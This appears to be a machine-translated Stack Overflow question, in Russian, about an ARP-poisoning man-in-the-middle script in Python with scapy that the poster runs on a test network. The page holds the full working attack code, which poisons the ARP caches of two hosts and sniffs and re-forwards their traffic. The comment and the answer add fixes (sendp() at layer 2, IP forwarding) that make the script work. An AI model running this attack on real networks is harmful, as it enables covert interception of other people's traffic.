Человек в центре атаки с scapy

Я пытаюсь провести атаку "человек посередине" с scapy в тестовой сети. Моя настройка такова: введите описание изображения здесь

Теперь, когда вы поняли идею, вот код:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()

Этот код работает на VM2.

Отравление arp работает нормально, я проверяю кеши arp обоих машин, и поведение такое, как я ожидал. Но внутри routep я изменяю mac-адрес src и dst и пытаюсь отправить полученный пакет на соответствующий хост, scapy выдает предупреждение:

WARNING: more Mac address to reach destination not found. Using broadcast

И я вижу в wireshark на VM2, модифицированные пакеты не покидают машину. Почему так? Я что-то упускаю?


person prongs    schedule 30.09.2012    source источник
comment
Может быть, вам нужно явно указать scapy, что вы хотите отправлять и получать кадры, включая MAC-уровень?   -  person Dima Tisnek    schedule 30.09.2012
comment
Я думаю, вы слишком усложняете это. Вам нужно только отправить поддельные ответы arp в подсеть и включить переадресацию IP на вашем компьютере. secdev.org/projects/scapy/doc/usage. html # arp-cache-отравление   -  person tMC    schedule 01.10.2012


Ответы (1)


Если вы используете send() от scapy, он работает на третьем слое. Из документации scapy:

Функция send () будет отправлять пакеты на уровне 3. То есть она будет обрабатывать маршрутизацию и уровень 2 за вас. Функция sendp () будет работать на уровне 2.

Если бы вы использовали sendp(), он не будет использовать значения по умолчанию для Mac-адреса назначения, и ваше предупреждение исчезнет.

person wegry    schedule 04.06.2013